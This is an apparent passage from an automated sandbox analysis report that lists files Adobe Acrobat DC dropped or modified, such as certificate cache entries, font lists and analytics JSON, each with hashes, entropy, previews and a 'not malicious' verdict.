SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7321365340992054
Encrypted:	false
SSDEEP:	3:kkFkl8yGpttfllXlE/HT8k5Ell7l/tNNX8RolJuRdxLlGB9lQRYwpDdt:kKlyyeT8wMlRNMa8RdWBwRd
MD5:	05DBC84C1D6BEFE6474DC6203EE39818
SHA1:	ABB6112191522E9B4DD01C36ECC9D9509835D463
SHA-256:	BE5FCC9F4F31AB058BE97A23CC1693FAA08C72097F6B036FD8E3F49C8CB020E5
SHA-512:	77929A526B00675F3BA9F16DAE09CD8DC3E12E0852D3B36297D3606970250173B07C87CA2B1DD88E13FE7E54F3D27E9EABC926BAA4A4ED512434539709185129
Malicious:	false
Preview:	p...... .............c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.234591379520364
Encrypted:	false
SSDEEP:	6:kKvF/ptL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:HF/DiDImsLNkPlE99SNxAhUe/3
MD5:	9025B58C287E0A6A3CFB2384E13D8EA9
SHA1:	BC40DC07E9BFB77D3120DB0CB16B832964FB86D8
SHA-256:	F40C77BF8C0AA08695322A34036C00AFA494B8D8946D548AF9A8024E1233E269
SHA-512:	B3BAFAAA21259E36B2225142D882E1421D476302D890EE14A1AED12131AE84168DB955ECF77EF744A052A0E67CFEB906EE98F6A0C0253C5D2FF94D626235AB8A
Malicious:	false
Preview:	p...... .........y #.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6472

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6472

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3415520600367445
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzeNlGG2pUXjb24kF0YUeoAvJM3g98kUwPeUkwRe9:YvXKXzeXMpUTbdDGMbLUkee9
MD5:	6110074B1F313A6ECFEBC4BFAD574FB8
SHA1:	E7F32B7E0C3584F1D2648E595C849D1B460C25A5
SHA-256:	D420C5403ED34FD8E34DA3D9D18DD058A51FC35D7DA29513C5E8E84EAC2BE17C
SHA-512:	CABC8D73B838C9EAB32A81B9BE1F8D6696E67E2856968338E8B6995A5906A8FD242E8FE0FFBABB3E3F3B585AB3A58CA82E6A84885BFFD1A449B2F31CDBAECC1E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dc33c9ad-1d90-4cd7-9148-e02f82a8956a","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736733019239,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.279157860453657
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzeNlGG2pUXjb24kF0YUeoAvJfBoTfXpnrPeUkwRe9:YvXKXzeXMpUTbdDGWTfXcUkee9
MD5:	47543E58FB2AFFAF99978F69A68A3E4E
SHA1:	E0D0C003063F6897A7CBADB9D32BCA033B49BB31
SHA-256:	C8B1A0E08CF5D995F82B41405B03774BAA4BA8244E90CBFE832A7936C9E69284
SHA-512:	A70A67FDA5B117012909F498A8FBAAE47FDEE491C7123A0F7B7642A90B812883626FF0BD2FAB79B398CBDEFBEC2B0A31843D2D01622414F15282AF278B190D93
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dc33c9ad-1d90-4cd7-9148-e02f82a8956a","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736733019239,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.257007954030727
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzeNlGG2pUXjb24kF0YUeoAvJfBD2G6UpnrPeUkwRe9:YvXKXzeXMpUTbdDGR22cUkee9
MD5:	268DD539D74CD561A4AC1008A8BE91CC
SHA1:	019C7A4404A3243F0518F6D2710D413F2A191441
SHA-256:	8EBB3C7F94E79C9283ED1E2D3483519EB516FBB23D6A2EFFAF2F6108D891C56D
SHA-512:	495A4E3B30E6FAD2D75DFE3F4F65CB8D552BCA5933EBE1F6EB8C8FF4BA77B4ADA48F353B4B314E0585C0F57A3EF5872D1F7604E63C1884B99FAF31B4CED8F573
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dc33c9ad-1d90-4cd7-9148-e02f82a8956a","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736733019239,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.315065460231634
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzeNlGG2pUXjb24kF0YUeoAvJfPmwrPeUkwRe9:YvXKXzeXMpUTbdDGH56Ukee9
MD5:	08F9C438E9CF6DA400AB4F27B87D88D0
SHA1:	32B17B707343B79EEEA00916A498B36010A6DF5A
SHA-256:	88AD2ED6E32C7518173762594FAD27485073A6B31F0D140920DC1030B74E1A65
SHA-512:	A7C574490E244DD1EF430514826E47966A027ED2BA0EC72A16161D424F9B7FE0EFD2105C1563FEEAD343B48E76D1E3F1DEAE94AED01B6A2EC3E0A7E4AF3CF9D8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dc33c9ad-1d90-4cd7-9148-e02f82a8956a","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736733019239,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.679462199136263
Encrypted:	false
SSDEEP:	24:Yv6XqXsUXGpLgE9cQx8LennAvzBvkn0RCmK8czOCCSV:Yv9swGhgy6SAFv5Ah8cv/V
MD5:	DDC8709EE0149A3498625F03D31AD250
SHA1:	9A1AA7000768BEE5AE842B6149D00F513B62716E
SHA-256:	DA6B5364F26A99203752A3317A78428DFB35BE7DBAF62E30FBBBAD58D6D7F4D5
SHA-512:	BBFB0AB173A3F4E0D83F9F27265D33AC3832F47AFECB7E0E590CFC1E39D9F4AAD42895EF38FD1096E9C415C517E54B90BD5DB3A862FD091468C921DE424AF5CC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dc33c9ad-1d90-4cd7-9148-e02f82a8956a","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736733019239,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.252948141582075
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzeNlGG2pUXjb24kF0YUeoAvJf8dPeUkwRe9:YvXKXzeXMpUTbdDGU8Ukee9
MD5:	68BA697949150C1436BB9A400CA9B94F
SHA1:	A95DADC44763E0CF347E3FC52CD5C4605FF66F05
SHA-256:	5E3ADF9874236CFEA47CA4F53F64FB332C850F4AB2966C7EB87C802C0BFD3D04
SHA-512:	C77A12B28F72C5A3DA35A4D1AB9AA216B232BC9128D5B84A1988D3E7106A19C52CDAFD7D43809AF3E4AAF102C38DEAC1C302381A576F96CED49919116A815AA1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dc33c9ad-1d90-4cd7-9148-e02f82a8956a","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736733019239,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.25666540201995
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzeNlGG2pUXjb24kF0YUeoAvJfQ1rPeUkwRe9:YvXKXzeXMpUTbdDGY16Ukee9
MD5:	E887E5E7372F8B0AA7DC78D3A4BEAE51
SHA1:	E987AAB46E210DF3757E0DACBECF43BC5C3792B2
SHA-256:	7711EFAF176442CC401C5D28F0EFB78E5A7E1372BA20A2FA69B999F2B2BB6DD4
SHA-512:	C8C6E1460BA20F5B62C8EA10CA561C32FCEC8AFFE844FCA436E55A65BB376D5C3595AA54626CBD6E177126B28814C3DF80DD9F4FA84A4093BADF85E85E2F9994
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dc33c9ad-1d90-4cd7-9148-e02f82a8956a","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736733019239,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.264391887581866
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzeNlGG2pUXjb24kF0YUeoAvJfFldPeUkwRe9:YvXKXzeXMpUTbdDGz8Ukee9
MD5:	FFAE02EC16D2656422E4DA925EA4CF05
SHA1:	9C109431A357A6E6B69F0F3CC3CA2F447E4283FC
SHA-256:	2BF69245DB699B6410C10D99F8ACEA61D83790CCA1507475E047C36225053FBD
SHA-512:	F65A94DB7FB005C24548BC95DB7C687E348AE1702C8C5DBEE9EFDB4841F7CF79099F57A0BF3EE3BF5D7C70ADAE4818394AE464B70915C1D499A3C4E449D6AC6A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dc33c9ad-1d90-4cd7-9148-e02f82a8956a","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736733019239,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.280498396566998
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzeNlGG2pUXjb24kF0YUeoAvJfzdPeUkwRe9:YvXKXzeXMpUTbdDGb8Ukee9
MD5:	9DB03D1438C95410032EE2C540221F13
SHA1:	283A319BA8D19D9A70F94EE0E089813D02975D78
SHA-256:	BE3D55D25F81E25CE377EB5C2C37E4AE8C1CAC7A79A55072D1F91DAA169DE52B
SHA-512:	EA961E708C8A2DDAF3D1DE16EC2B73900D52A4572192A71C2746EAF016A3852D17DA5E6583309294DA1F05D13BC4404785A22A6661E98F8A94B07CF986B11C82
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dc33c9ad-1d90-4cd7-9148-e02f82a8956a","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736733019239,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.26061272639484
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzeNlGG2pUXjb24kF0YUeoAvJfYdPeUkwRe9:YvXKXzeXMpUTbdDGg8Ukee9
MD5:	DFB7D1FE16566399B91F0670EB80EEC1
SHA1:	094A335DAB5486BC95F241CBCAAB69AF0E691FD3
